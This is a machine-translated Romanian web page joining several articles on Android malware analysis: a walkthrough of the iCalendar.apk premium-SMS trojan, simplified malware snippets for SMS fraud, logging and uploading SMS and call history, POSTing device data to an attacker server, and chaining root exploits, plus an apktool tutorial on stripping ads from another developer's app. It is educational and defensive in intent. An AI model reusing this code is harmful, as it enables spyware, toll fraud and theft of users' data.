Descrierea software-ului rău intenționat pentru Android. Scrierea informațiilor despre utilizator într-un fișier text

18.05.2020 Știri

Descrierea malware-ului software pentru Android

Alexandru Antipov

Raportul McAfee privind starea potențialelor amenințări din primul trimestru al acestui an a indicat că au fost identificate 6 milioane de mostre unice de malware.


Raportul McAfee privind starea potențialelor amenințări din primul trimestru al acestui an a indicat că au fost identificate 6 milioane de mostre unice de malware. În acest sens, trimestrul I 2011 s-a dovedit a fi cel mai productiv din punct de vedere al numărului de persoane identificate. malwareîn comparație cu aceleași perioade din toți anii anteriori. Raportul McAfee a remarcat că dispozitivele Android devin din ce în ce mai mult purtători de malware. Potrivit experților, Android a devenit a doua cea mai populară țintă mobilă pentru intruziune în rândul infractorilor cibernetici în primul trimestru al acestui an, după Symbian.

În acest articol, vă vom ghida prin diferitele etape ale analizei software, permițându-vă astfel să înțelegeți care sunt exact vulnerabilitățile. Platforme Androidși cum le folosesc atacatorii. În primul rând, vom începe prin a discuta despre istoria dezvoltării Android și apoi vom trece la elementele de bază ale modului în care funcționează pachetele de configurare a platformei. În același timp, vom analiza în detaliu toate programele malware pe care le întâlnim și care vizează în mod specific Android.

Introducere în platforma Android

Android este un sistem de operare pentru celulare, comunicatori, tableteși alte dispozitive bazate pe bază Kernel-urile Linux. Aplicatii pentru Dezvoltatori Android Sunt scrise în principal în limbajul Java, oferind controlul dispozitivului folosind biblioteca Java dezvoltată de Google. Compilatorul Android Java compilează un set de fișiere de dezvoltator în fișiere de clasă, iar apoi fișierele de clasă sunt convertite în fișiere dex. Aceste fișiere au cod de octet utilizat special pentru recunoaștere mașină virtuală Dalvik este un mediu de execuție bytecode Java (JVM) care rulează aplicație specială pentru Android. Fișierele XML sunt convertite într-un format binar care este optimizat pentru crearea de fișiere mici. Fișiere .dex, binare fișiere XMLși alte resurse necesare pentru rularea aplicațiilor sunt împachetate într-un fișier pachet Android. Aceste fișiere au extensia .apk, dar sunt fișiere ZIP standard. Odată ce pachetul apk este generat, acesta este semnat digital de dezvoltator și este încărcat pe Android Market prin intermediul site-ului web Google de unde utilizatorul poate descărca aceste fișiere apk și le poate instala pe dispozitivul său Android. În prezent, există peste 2 milioane de aplicații disponibile pentru descărcare în magazinul central de aplicații Android și, pe deasupra, nu uitați că Google Android Aplicațiile pot fi descărcate și de pe alte site-uri terțe.

Cerințe

  • Instrument de decompresie a fișierelor format apk- Winzip
  • Instrument pentru a converti fișiere .dex în fișiere .jar: .. Dex2jar
  • Utilitar grafic de decompilare Java: JD-GUI
  • Mostre de malware Android pentru analiză

Pași detaliați

Pasul I:
Pentru a iniția procedura de analiză a programelor malware, mai întâi trebuie să descărcați un eșantion rău intenționat care vizează platforma Android. În acest caz, vom descărca iCalendar.apk, care a fost una dintre cele 11 aplicații suspecte eliminate de pe Android Market, deoarece s-a descoperit că conține malware în Gadget Media. Testarea cererii pe VirusTotal a arătat o rată de detecție de 46,5%, așa cum se demonstrează în figura de mai jos.


Orez. 1

Pasul II:

Extrageți fișierul iCalendar.apk folosind Winzip, după care puteți vizualiza conținutul fișierului .apk

Orez. 2. .dex și. Fișierele XML discutate mai devreme în acest articol sunt prezentate în Fig. 2.

Pasul III:

Următorul pas este să executați codul folosind instrumentul „dex2jar”. Setul de instrumente dex2jar convertește fișierele executabile .dex Dalvik în fișiere Java .class. „Classes.dex” - fișierul din aplicația noastră intră în directorul „dex2jar” și este convertit folosind următoarea comandă: dex2jar.bat classes.dex.

Orez. 3 Creați fișiere „classes.dex.dex2jar.jar” într-un singur director.

Orez. 4

Pasul IV:

Am folosit JD-GUI pentru a vizualiza fișierele .class. Deschideți fișierul „Classes.dex.dex2jar.jar” folosind JD-GUI.

Orez. 5: Afișat complet sursă aplicații pentru Android.

Pasul V:
Odată ce obțineți codul sursă al aplicației, puteți analiza sursa reală și puteți verifica dacă există probleme. Sa observat că fișierul cu numele de clasă „SmsReceiver.class” arată puțin ciudat, deoarece acesta este un calendar de aplicație, iar SmsReceiver nu este necesar în acest caz. La o inspecție suplimentară a codului sursă „SmsReceiver.class”, s-a constatat că acesta conținea trei numere 1066185829, 1066133 și 106601412004, care păreau destul de suspecte. În special, situația este similară cu o încercare de a bloca mesajele trimise de la numerele specificate către dispozitiv Android, Când aceasta aplicație a fost instalat și rulat.

Orez. 6

După căutarea acestor numere prin Google, s-a constatat că acestea sunt numere ale unui serviciu SMS deținut de China Mobile (Fig. 7).

Orez. 7

Am încercat să analizăm de ce aplicația încearcă să blocheze rapoartele de livrare de la numerele de mai sus în acțiunile ulterioare.

Pasul VI:
După ce terminăm analiza fișierului „SmsReceiver.class”, trecem la analiza codului următorului fișier .class, adică. „iCalendar.class”. Primul pare cel mai suspect. În special, am observat că funcția showImg() conține o anumită funcție sendSms().

Orez. 8

Deci, am inițiat o verificare a fișierului „sendSms()” pentru a vedea particularitățile în execuția comenzilor. După cum se arată în imaginea de mai jos, putem observa că atunci când funcția sendSms() este activată, un SMS cu textul 921X1 este trimis automat la 1066185829.

Orez. 9

Pasul VII:
La sfârșitul funcției sendSms(), am observat prezența unei comenzi de salvare a funcției. Așa că am căutat funcția save() în cod și am găsit relația sa directă cu funcția sendSms().

Orez. 10

După ce am făcut analiza corectă și am aflat diverse aspecte ale funcției save(), s-a constatat că șirul „Y” este trecut ori de câte ori este executată funcția save(). În plus, s-a ajuns la concluzia că funcția sendSms() poate fi apelată o singură dată, dar nu mai mult, deoarece există o buclă „if” configurată pentru funcția sendSms().

Pasul VIII:
Combinând rezultatele tuturor analizelor efectuate, puteți obține o imagine clară a funcționării complete a diferitelor tipuri de malware.

Aplicația trimite un SMS la numărul premium 1066185829 cu textul 921X1. În același timp, orice rapoarte de livrare a mesajelor primite către acest număr sunt blocate și, ca urmare, victima nu va primi niciun semnal despre existența unui astfel de SMS trimis de aplicație către fundal. În plus, SMS-ul este trimis o singură dată, iar victima nu are de fapt de unde să bănuiască ce a cauzat de fapt debitarea fondurilor din cont.

Orez. 11: Concluzii complete despre programul malware iCalendar.apk

Concluzie:

Un program rău intenționat cu acces root la un telefon nu numai că are capacitatea de a citi orice date stocate pe el, dar este și capabil să le transfere în absolut orice locație. Aceasta informatie poate include informații de contact, documente și chiar parole de cont. În prezența acces root este posibil să instalați alte componente care nu sunt disponibile pentru vizualizare interfața cu utilizatorul telefon, astfel încât acestea nu pot fi îndepărtate cu ușurință. Principalele modalități de a proteja aplicațiile de malware pentru platforma Android sunt prezentate mai jos:
  • Descărcați aplicația numai din surse de încredere;
  • Verificarea evaluărilor și recenziilor relevante înainte de a descărca aplicația;
  • Evaluarea cu atenție a permisiunilor aplicatii specifice;
  • Instalare OS Actualizări Android, pe măsură ce sunt gata;
  • Instalarea de programe pentru protejarea aplicațiilor mobile.

Documentul oferă un exemplu de daune pe care programele malware le provoacă utilizatorilor nebănuiți. Dacă o persoană nu este conștientă de existența sa, atunci astfel de programe devin capabile să efectueze aproape orice acțiuni neautorizate în fundal. Funcționarea programelor rău intenționate poate duce la pierderi financiare pentru utilizator prin debitarea fondurilor din soldurile acestora, precum și prin furtul parolelor. În plus, pot provoca daune telefonului în sine. După cum puteți vedea, este foarte important să luați măsurile de precauție adecvate în timp util pentru a preveni intrarea acestor tipuri de aplicații în telefon. Este mai bine să fii în siguranță o dată decât să regreti de zece ori mai târziu.

Colecția de aplicații Android rău intenționate a unor laboratoare antivirus conține deja peste 10 milioane de mostre. Această cifră excită imaginația, dar aproximativ 9 milioane 995 mii dintre ele sunt redenumite copii ale virușilor originali. Dar dacă analizați codul sursă al celor câteva mii de mostre de malware rămase, veți observa că toate sunt combinate dintr-un număr mic de blocuri funcționale unice (mai multe modificate și combinate în moduri diferite).

Chestia este că producătorii de virusuri urmăresc cel mai adesea sarcini foarte banale:

  • trimite un SMS la un număr plătit;
  • a lua in posesie informații confidențiale utilizator ( numere de telefon, textele mesajelor, datele de pe cardul SD și așa mai departe);
  • colectează date despre dispozitivul infectat;
  • prelua drepturile administrative pe dispozitiv (pentru a instala aplicații fără permisiunea proprietarului sau pentru a dezactiva dispozitivul în mod rău intenționat);
  • urmăriți login-urile, parolele și datele cardului de plată pe care utilizatorul le introduce pe site-urile web ale sistemelor de internet banking. Cum o fac? Să încercăm să pătrundem în lumea întunecată a virtualizării mobile și să vedem ce se întâmplă acolo.

Se trimite SMS

Cine folosește:

  • AdSms;
  • FakePlayer;
  • HipoSms.

Cel mai comun tip de viruși sunt troienii SMS. Acești viruși pur și simplu trimit mesaje către numere plătite fără acordul utilizatorului. Creați un astfel de program sau rescrieți unul gata făcut pentru numărul dorit destul de usor. Iar procesul de obținere a beneficiilor este extrem de simplificat – spre deosebire, de exemplu, de urmărirea datelor bancare.

Următorul este cel mai simplu exemplu cod. Aceasta este o funcție de bază de trimitere SMS. Se poate complica prin verificarea stării expedierii, selectarea numerelor în funcție de locația abonatului și apoi ștergerea SMS-ului.

SendSms static privat (String DestNumber, String SmsText) ( // Încercarea de a rula metoda sendTextMessage a obiectului SmsManager ( program standard pentru a trimite SMS de pe dispozitivul curent) cu cantitate minima parametri: numărul destinatarului și textul mesajului try( SmsManager.getDefault().sendTextMessage(DestNumber,null,SmsText,null,null); return true; ) )

Unde să cauți codul virusului

În marea majoritate a cazurilor, un telefon este infectat prin instalarea de aplicații. Orice aplicație Android există ca fișier cu extensia apk, care este în esență o arhivă. Puteți vizualiza conținutul acestuia din folosind Android SDK, convertor de fișiere APK în JAR și decompilator Java bytecode. Compilarea aplicației (APK) constă din următoarele părți:

  • resurse.arsc - tabel de resurse;
  • res (dosar) - resurse reale (icoane etc.);
  • META-INF (folder) - conține fișiere cu următorul conținut: sume de control resurse, certificatul aplicației și descrierea ansamblului APK;
  • AndroidManifest.xml - tot felul de informații despre servicii. Inclusiv permisiunile pe care aplicația le solicită înainte de instalare pentru funcționarea corectă;
  • classes.dex - probabil ați auzit că în sistemele de operare Android tot codul este executat folosind mașina virtuală Dalvik (începând cu versiunea 4.4, apare suportul ART), care nu înțelege bytecode Java obișnuit. De aceea există fișiere cu extensia dex. Acesta, alături de clasele necesare și utile (care sunt responsabile de funcționalitatea aplicației), conține și pe cele rău intenționate (codul de virus, pe care îl analizăm în acest articol).

Înregistrarea informațiilor despre utilizator în fisier text

Cine folosește:

  • NickySpy;
  • SMSSpy.

Există o categorie de viruși care exploatează datele personale ale utilizatorilor. Mecanismul acțiunii lor este de asemenea simplu. Fie încarcă fișiere utilizator pe serverul creatorului lor, fie colectează în prealabil unele date în txt (CSV, XML - nu contează). Contactele de orice tip, mesajele de la diferite mesagerie instant, fișierele media etc. pot fi de interes pentru atacatori.

Mesajele SMS de la utilizatorii infectați sunt deosebit de valoroase pentru numerele de telefon ale expeditorilor și destinatarilor - pot fi folosite pentru a suplimenta baza de date pentru mesajele spam. Mai rar, virușii de acest fel sunt folosiți pentru a infecta dispozitivele unor anumiți indivizi - data viitoare când iubita te invită să testezi aplicația Android pe care a scris-o (ah, caramba! - Nd.), nu lăsa garda jos :) .

// Numără numărul de SMS-uri de pe dispozitiv arrayOfObject = (Object)localBundle.get("pdus"); int j=arrayOfObject.length; // Buclă prin fiecare SMS i=1 while (adevărat) (​if(i>=j) break; // Creați un obiect de mesaj SMS SmsMessage localSmsMessage=SmsMessage.createFrompdu((byte)arrayOfObject[i]); // Introduceți în variabile șir numărul expeditorului, textul și ora trimiterii SMS String MessageNumber = localSmsMessage.getOriginatingAddress(); String MessageText = localSmsMessage.getDisplayMessageBody(); long l= localSmsMessage.getTimestampMillis(); Data localDate=new Date(l); String MessageTimeDate = new SimpleDateFormat("aaaa-MM-dd HH:mm:ss").format(localDate); // Formează un șir din datele primite și scrie-l într-un fișier text folosind metoda personalizată WriteRec String MessageInfo= 7MessageNumber+ "#"+ MessageText+"#" + MessageTimeDate+";" WriteRec(paramContext,"sms.txt",MessageInfo); // Treceți la următorul mesaj i+=1; ) De asemenea, este convenabil să completați lista de spam din lista abonatului istoricul apelurilor. Acest cod poate fi rulat atunci când există un apel de intrare: If (parmIntent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")) ( // Puneți numărul abonatului în variabila String phonenumber=paramIntent.getStringExtra( "android.intent. extra.PHONE_NUMBER"); // Formează un șir din numărul și data apelului String PhoneCallRecord= phonenumber +"#"+getSystemTime(); // Apelează metoda WriteRec() (codul său nu este dat aici), care adaugă o linie la fișierul text cu istoricul apelurilor WriteRec(paramContext,"phonecall.txt", PhoneCallRecord); )

După ce informațiile sunt înregistrate, acestea sunt transmise „mâinilor drepte”. Codul de mai jos încarcă istoricul apelurilor pe server:

Private void uploadPhonecallHistory() aruncă IDException ( while(true) ( ​​​​return; // Verificați dacă fișierul de care avem nevoie există dacă(!fileIsExists(/data/data/spyapp.pg/files/phonecall.txt")) continuă; // Creați un obiect - uploader de fișiere UploadFiles localUploadFiles=new UploadFiles(); String uploadkeynode=getKeyNode("uid","uid_v"); // Rulați method.advanceduploadfile (codul său nu este dat aici) pentru a încărca fișierul în serverul „producător de viruși” localUploadFiles. advanceduploadfile(uploadkeynode,”/data/data/spyapp.pg/files/phonecall.txt”); ) )

Colectarea de informații

Cine folosește:

  • DroidKungFu;
  • DroidDream;
  • marea majoritate a programelor malware de toate tipurile similare.

În principiu, orice producător de viruși ar beneficia de informații despre dispozitivele infectate de programele sale. Este foarte ușor de obținut. Este creată o matrice cu date despre proprietățile telefonului (ale lor lista plina poate fi găsit în manualul dezvoltatorului Android) și este trimis ca cerere POST unui script PHP (limbajul nu este important) de pe serverul atacatorului, care prelucrează datele și le plasează în baza de date pentru utilizare ulterioară.

Private void reportState(int paramInt, string paramString) ( // Creați o matrice și puneți în ea informații despre serviciu ArrayList UserInformation=new ArrayList(); UserInformation.add(new BasicNameValuePair("imei", this.mImei)); UserInformation.add ( new BasicNameValuePair("taskid", this.mTaskId)); UserInformation.add(new BasicNameValuePair("state", Integer.toString(paramInt))); // Dacă funcția are un parametru definit "paramString(comment)", puneți-l într-o matrice și este if(paramStrng !=null)&&(!"".equals(paramString))) UserInformation.add(new BasicNameValuePair("comentare", paramString)); // Creați o solicitare HTTP POST cu adresa scriptului care colectează date HttpPost localHttpPost = new HttpPost("http://search.virusxxxdomain.com:8511/search/rtpy.php"); încercați ( // Adăugați matricea noastră de date la cerere și executați-o folosind clientul HTTP standard localHttpPost.setEntity(new UrlEncodeFormEntity(UserInformation, "UTF-8"))); nou DefaultHttpClient().execute(localHttpPost).getStatusLine.getStatusCode(); întoarcere; ) )

Înrădăcinarea

Cine folosește:

  • DroidKungFu;
  • DroidDream;
  • RootSmart.

Unul dintre cele mai rele lucruri care se pot întâmpla unui dispozitiv Android este să-l înrădăcineze un virus. La urma urmei, după aceasta, un program rău intenționat poate face orice cu el: instalați alți viruși, schimbați setările hardware. Această acțiune este efectuată prin lansarea secvențială a exploit-urilor:

Private void RootFunc() ( ApplicationInfo localApplicationInfo =getApplicationInfo(); /*"ratc" este o copie a faimosului exploit rădăcină Rage Against The Cage. Kiall - oprește toate procesele care rulează de aplicația curentă. Gjsvro - exploit pentru obținerea drepturilor udev ( utilizat în sistemele Linux pentru lucrul avansat cu hardware și interfețe de rețea).Copiați toate acestea la locul potrivit */ Utils.copyAssets(this,"ratc","/data/data"+localApplicationInfo.packageName + "/ratc"); Utils .copyAssets(this,"killall","/data/data"+localApplicationInfo.packageName + "/killall"); Utils.copyAssets(this,"gjsvro","/data/data"+localApplicationInfo.packageName + "/ gjsvro "); //Și rulați folosind linia de comandă Utils.oldrun ("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/ratc"); Utils.oldrun ("/system / bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/killall"); Utils.oldrun ("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + " / gjsvro"); nou MyTread.start(); )

Site-uri web despre programe malware mobile

Blogul experților Kasperskiy Lab Această resursă conține articole detaliate și de înaltă calitate despre multe aspecte ale securității computerelor, inclusiv virușii Android. Merită să vizitați acest site în mod regulat pentru a fi la curent cu cele mai recente evoluții.

Grupul este dedicat unui instrument open source pentru tot felul de manipulări cu codul aplicației Android (decompilarea și modificarea fișierelor DEX/ODEX/APK și așa mai departe). Androguard conține, de asemenea, o bază de date extinsă de articole despre viruși. in afara de asta recenzii scurte funcționalitate și metode de protecție, există analize detaliate ale codului malware.


Secțiunea Amenințări mobile la www.fortiguard.com Enciclopedia virușilor telefonici. Fiecare articol este o trecere în revistă a funcționalității, asezonată cu o cantitate semnificativă de detalii tehnice. Pe lângă informații despre amenințările la adresa sălii de operație sisteme Android, există și articole despre viruși pentru Symbian OS, iOS și alte platforme.


Protecție contra virus

Unii utilizatori cred că dacă descărcați aplicații exclusiv din Google Playși instalează un antivirus pe smartphone-ul tău, asta garantează absolut securitatea. Nu vă amăgiți: pe internet apar în mod regulat rapoarte despre găsirea de programe malware pe piața oficială. Iar numărul de programe rău intenționate nou apărute este măsurat în sute de mii pe lună, ceea ce le face dificilă intrarea în bazele de date în timp util. programe antivirus. O adevărată garanție de securitate poate veni din revizuirea manuală a codului fișierului APK înainte de a-l instala pe telefon. Nu trebuie să fii un guru în codificare pentru a identifica fragmente rău intenționate. Și articolul nostru vă va ajuta în acest sens.

Concluzie

După cum putem vedea din exemple, producția de viruși pe mobil nu este diferită în ceea ce privește complexitatea tehnologică. Desigur, aceste exemple sunt simplificate pentru a se potrivi cu formatul jurnalului - în primul rând, manipulatorii de erori și excepții sunt omiși, precum și anumite detalii tehnice, a căror absență nu vă va împiedica să înțelegeți principiile malware-ului Android, dar va protejează-te de experimente inutile. Nu sprijinim crearea de viruși, nu-i așa? 🙂

Uneori, unele aplicații de pe Android nu se potrivesc într-un fel utilizatorului. Un exemplu este publicitatea intruzivă. Și se întâmplă, de asemenea, că programul este bun pentru toată lumea, dar traducerea din el este fie strâmbă, fie complet absentă. Sau, de exemplu, programul este o încercare, dar obțineți versiunea completa nu exista nicio posibilitate. Cum să schimbi situația?

Introducere

În acest articol vom vorbi despre cum să dezasamblați un pachet APK cu o aplicație, ne vom uita la el structura interna, dezasamblați și decompilați bytecode-ul și, de asemenea, încercați să faceți mai multe modificări aplicațiilor care ne pot aduce un beneficiu sau altul.

Pentru a face toate acestea singur, veți avea nevoie de cel puțin cunoștințe de bază ale limbajului Java în care sunt scrise aplicațiile Android și Limbajul XML, care este folosit peste tot în Android - de la descrierea aplicației în sine și a drepturilor sale de acces până la stocarea șirurilor care vor fi afișate pe ecran. De asemenea, veți avea nevoie de capacitatea de a utiliza software specializat pentru consolă.

Deci, ce este un pachet APK în care este distribuit absolut tot software-ul Android?

Decompilarea aplicației

În acest articol, am lucrat doar cu codul de aplicație dezasamblat, dar dacă se fac modificări mai serioase aplicațiilor mari, înțelegerea codului smali va fi mult mai dificilă. Din fericire, putem decompila codul dex în cod Java, care, deși nu este original și nu este compilat înapoi, este mult mai ușor de citit și de înțeles logica aplicației. Pentru a face acest lucru, vom avea nevoie de două instrumente:

  • dex2jar este un traducător al bytecode Dalvik în bytecode JVM, pe baza căruia putem obține cod în limbajul Java;
  • jd-gui este un decompilator în sine care vă permite să obțineți cod Java lizibil din bytecode JVM. Ca alternativă, puteți utiliza Jad (www.varaneckas.com/jad); Deși este destul de vechi, în unele cazuri generează cod mai ușor de citit decât Jd-gui.

Așa ar trebui să fie folosite. Mai întâi, lansăm dex2jar, specificând calea către pachetul apk ca argument:

% dex2jar.sh mail.apk

Ca rezultat, pachetul Java mail.jar va apărea în directorul curent, care poate fi deja deschis în jd-gui pentru a vizualiza codul Java.

Aranjarea pachetelor APK și primirea acestora

Punga de plastic aplicații Android, de fapt, este un fișier ZIP obișnuit, nu sunt necesare instrumente speciale pentru a vizualiza conținutul și a-l extrage. Este suficient să aveți un arhivator - 7zip pentru Windows sau consola dezarhivare pe Linux. Dar asta e vorba de ambalaj. Ce e inauntru? În general, avem următoarea structură în interior:

  • META-INF/- contine certificat digital aplicația, identificarea creatorului acesteia și sumele de verificare ale fișierelor pachet;
  • res/ - diverse resurse pe care aplicația le folosește în activitatea sa, precum imagini, descrierea declarativă a interfeței, precum și alte date;
  • AndroidManifest.xml- descrierea aplicatiei. Aceasta include, de exemplu, o listă de permisiuni necesare, necesare Versiunea Androidși rezoluția necesară a ecranului;
  • clase.dex- codul octet al aplicației compilat pentru mașina virtuală Dalvik;
  • resurse.arsc- de asemenea resurse, dar de alt fel - în special, șiruri (da, acest fișier poate fi folosit pentru rusificare!).

Fișierele și directoarele enumerate sunt, dacă nu în toate, atunci, poate, în marea majoritate a APK-urilor. Cu toate acestea, mai există câteva fișiere/directoare care nu sunt atât de comune care merită menționate:

  • active- analog de resurse. Principala diferență este că pentru a accesa o resursă trebuie să cunoști identificatorul acesteia, dar lista de active poate fi obținută dinamic folosind metoda AssetManager.list() din codul aplicației;
  • lib- biblioteci native Linux scrise folosind NDK (Native Development Kit).

Acest director este folosit de producătorii de jocuri, plasând acolo motorul de joc scris în C/C++, precum și de creatorii de aplicații de înaltă performanță (de exemplu, Google Chrome). Ne-am dat seama de dispozitiv. Dar cum obții fișierul pachet al aplicației care te interesează? Deoarece nu este posibil să ridicați fișiere APK de pe dispozitiv fără root (acestea sunt situate în directorul /data/app), iar rootarea nu este întotdeauna recomandabilă, există cel puțin trei moduri de a aduce fișierul aplicației pe computer:

  • Extensie APK Downloader pentru Chrome;
  • Aplicația Leecher APK reală;
  • diverse găzduire de fișiere și Varezniks.

Pe care să folosiți este o chestiune de gust; preferăm să folosim aplicatii individuale, prin urmare, vom descrie utilizarea Real APK Leecher, mai ales că este scris în Java și, în consecință, va funcționa fie în Windows, fie în Nix.

După pornirea programului, trebuie să completați trei câmpuri: E-mail, Parolă și ID dispozitiv - și selectați o limbă. Primele două sunt adresa de e-mail și parola contului dvs. Google pe care le utilizați pe dispozitiv. Al treilea este identificatorul dispozitivului și poate fi obținut prin tastarea codului pe dialer # #8255## și apoi găsiți linia ID dispozitiv. Când completați, trebuie doar să introduceți ID-ul fără prefixul android.

După completare și salvare, apare adesea mesajul „Eroare la conectarea la server”. Nu are nicio legătură cu Google Play, așa că nu ezitați să îl ignorați și să căutați pachete care vă interesează.

Vizualizați și modificați

Să presupunem că ați găsit un pachet care vă interesează, l-ați descărcat, l-ați despachetat... iar când ați încercat să vizualizați un fișier XML, ați fost surprins să descoperiți că fișierul nu era text. Cum să-l decompilați și cum să lucrați cu pachetele în general? Este cu adevărat necesar să instalați SDK-ul? Nu, nu este deloc necesar să instalați SDK-ul. De fapt, toți pașii pentru extragerea, modificarea și împachetarea pachetelor APK necesită următoarele instrumente:

  • Arhivator ZIP pentru despachetare și ambalare;
  • smali- mașină virtuală Dalvik bytecode assembler/disassembler (code.google.com/p/smali);
  • apt- un instrument pentru ambalarea resurselor (în mod implicit, resursele sunt stocate în formă binară pentru a optimiza performanța aplicației). Inclus în Android SDK, dar poate fi obținut separat;
  • semnatar- un instrument pentru semnarea digitală a unui pachet modificat (bit.ly/Rmrv4M).

Puteți utiliza toate aceste instrumente separat, dar acest lucru este incomod, deci este mai bine să utilizați software de nivel superior construit pe baza lor. Dacă lucrați pe Linux sau Mac OS X, există un instrument numit apktool. Vă permite să despachetați resurse în forma lor originală (inclusiv fișiere XML binare și arsc), să reconstruiți un pachet cu resurse modificate, dar nu știe cum să semneze pachetele, așa că va trebui să rulați manual utilitarul de semnare. În ciuda faptului că utilitarul este scris în Java, instalarea sa este destul de nestandard. Mai întâi trebuie să obțineți fișierul jar în sine:

$ cd /tmp $ wget http://bit.ly/WC3OCz $ tar -xjf apktool1.5.1.tar.bz2

$ wget http://bit.ly/WRjEc7 $ tar -xjf apktool-install-linux-r05-ibot.tar.bz2

$ mv apktool.jar ~/bin $ mv apktool-install-linux-r05-ibot/* ~/bin $ export PATH=~/bin:$PATH

Dacă lucrați pe Windows, atunci există un instrument excelent pentru acesta numit Virtuous Ten Studio, care acumulează și toate aceste instrumente (inclusiv apktool în sine), dar în loc de o interfață CLI oferă utilizatorului o interfață grafică intuitivă cu care puteți efectuați operațiuni de despachetare, dezasamblare și decompilare în câteva clicuri. Acest instrument este Donation-ware, adică uneori apar ferestre care vă cer să obțineți o licență, dar până la urmă acest lucru poate fi tolerat. Nu are rost să-l descrii, pentru că poți înțelege interfața în câteva minute. Dar apktool, datorită naturii sale de consolă, ar trebui discutat mai detaliat.


Să ne uităm la opțiunile apktool. Pe scurt, există trei comenzi de bază: d (decodificare), b (build) și if (install framework). Dacă totul este clar cu primele două comenzi, atunci ce face a treia declarație condiționată? Acesta despachetează cadrul specificat de UI, care este necesar în cazurile în care disecați orice pachet de sistem.

Să ne uităm la cele mai interesante opțiuni ale primei comenzi:

  • -s- nu dezasamblați fișierele dex;
  • -r- nu despachetați resurse;
  • -b- nu introduceți informații de depanare în rezultatele dezasamblarii fișierului dex;
  • --cadru-cadru- utilizați cadrul specificat de UI în loc de cel încorporat în apktool. Acum să ne uităm la câteva opțiuni pentru comanda b:
  • -f- asamblare fortata fara verificarea modificarilor;
  • -A- indicați calea către aapt (un instrument pentru construirea unei arhive APK), dacă dintr-un motiv oarecare doriți să o utilizați dintr-o altă sursă.

Utilizarea apktool este foarte simplă; pentru a face acest lucru, trebuie doar să specificați una dintre comenzi și calea către APK, de exemplu:

$ apktool d mail.apk

După aceasta, toate fișierele extrase și dezasamblate ale pachetului vor apărea în directorul de e-mail.

Pregătirea. Dezactivarea publicității

Teoria este, desigur, bună, dar de ce este necesară dacă nu știm ce să facem cu pachetul despachetat? Să încercăm să aplicăm teoria în beneficiul nostru, și anume, să modificăm niște softuri astfel încât să nu ne arate reclamă. De exemplu, să fie Virtual Torch - o torță virtuală. Acest software este ideal pentru noi, deoarece este plin de reclame enervante și, în plus, este suficient de simplu pentru a nu se pierde în jungla codului.


Deci, folosind una dintre metodele de mai sus, descărcați aplicația de pe piață. Dacă decideți să utilizați Virtuous Ten Studio, deschideți fișierul APK în aplicație și extrageți-l, pentru care creați un proiect (Fișier -> Proiect nou), apoi în meniul contextual proiect, selectați Import File. Dacă alegerea ta a căzut pe apktool, atunci rulează doar o comandă:

$ apktool d com.kauf.particle.virtualtorch.apk

După aceasta, un arbore de fișiere similar cu cel descris în secțiunea anterioară va apărea în directorul com.kauf.particle.virtualtorch, dar cu un director smali suplimentar în loc de fișiere dex și un fișier apktool.yml. Primul conține codul dezasamblat al fișierului executabil dex al aplicației, cel de-al doilea conține informațiile de service necesare pentru ca apktool să asambla pachetul înapoi.

Primul loc pe care ar trebui să ne uităm este, desigur, AndroidManifest.xml. Și aici întâlnim imediat următoarea linie:

Nu este greu de ghicit că este responsabil pentru acordarea permisiunilor aplicației de a utiliza conexiunea la Internet. De fapt, dacă vrem doar să scăpăm de publicitate, cel mai probabil va trebui doar să blocăm aplicația de pe Internet. Să încercăm să facem asta. Ștergem linia specificată și încercăm să construim software-ul folosind apktool:

$ apktool b com.kauf.particle.virtualtorch

Fișierul APK rezultat va apărea în directorul com.kauf.particle.virtualtorch/build/. Totuși, nu va fi posibil să-l instalezi, deoarece nu are semnătură digitală și sume de verificare a fișierelor (pur și simplu nu are un director META-INF/). Trebuie să semnăm pachetul folosind utilitarul apk-signer. Lansat. Interfața este formată din două file - pe prima (Key Generator) creăm chei, pe a doua (APK Signer) semnăm. Pentru a crea cheia noastră privată, completați următoarele câmpuri:

  • Fișierul țintă- fișier de ieșire keystore; de obicei stochează o pereche de chei;
  • ParolaȘi A confirma- parola pentru stocare;
  • Alias- numele cheii din depozit;
  • Parola aliasȘi A confirma- parola cheie secretă;
  • Valabilitate- perioada de valabilitate (în ani). Valoarea implicită este optimă.

Câmpurile rămase sunt, în general, opționale - dar cel puțin unul trebuie completat.


AVERTIZARE

Pentru a semna o aplicație folosind apk-signer, trebuie să instalați Android SDK și să specificați calea completă către acesta în setările aplicației.

Toate informațiile sunt furnizate doar în scop informativ. Nici editorii, nici autorul nu sunt responsabili pentru eventualele daune cauzate de materialele acestui articol.

Acum puteți semna APK-ul cu această cheie. În fila APK Signer, selectați fișierul nou generat, introduceți parola, aliasul cheii și parola pentru acesta, apoi găsiți fișier APKși nu ezitați să apăsați butonul „Semnați”. Daca totul merge bine, pachetul va fi semnat.

INFO

Deoarece am semnat pachetul cu propria noastră cheie, acesta va intra în conflict cu aplicația originală, ceea ce înseamnă că atunci când vom încerca să actualizăm software-ul prin piață, vom primi o eroare.

O semnătură digitală este necesară numai pentru software-ul terților, deci dacă modificați aplicații de sistem, care sunt instalate prin copierea în directorul /system/app/, nu trebuie să le semnați.

După aceea, descărcați pachetul pe smartphone, instalați-l și lansați-l. Voila, reclama a dispărut! În schimb, a apărut însă un mesaj că nu avem internet sau nu avem permisiunile corespunzătoare. În teorie, acest lucru ar putea fi suficient, dar mesajul pare enervant și, să fiu sincer, tocmai am avut noroc cu o aplicație stupidă. Cel mai probabil, software-ul scris în mod normal își va clarifica acreditările sau va verifica o conexiune la Internet și, în caz contrar, va refuza pur și simplu lansarea. Cum să fii în acest caz? Desigur, editați codul.

De obicei, autorii aplicației creează clase speciale pentru afișarea reclamelor și a metodelor de apel ale acestor clase atunci când aplicația sau una dintre „activitățile” acesteia (în termeni simpli, ecranele aplicației) este lansată. Să încercăm să găsim aceste clase. Mergem la directorul smali, apoi com (org conține doar biblioteca grafică deschisă cocos2d), apoi kauf (aici este, pentru că acesta este numele dezvoltatorului și tot codul său este acolo) - și aici este, directorul de marketing. În interior găsim o grămadă de fișiere cu extensia smali. Acestea sunt clase, iar cea mai notabilă dintre ele este clasa Ad.smali, după denumirea căreia este ușor de ghicit că este cea care afișează reclamă.

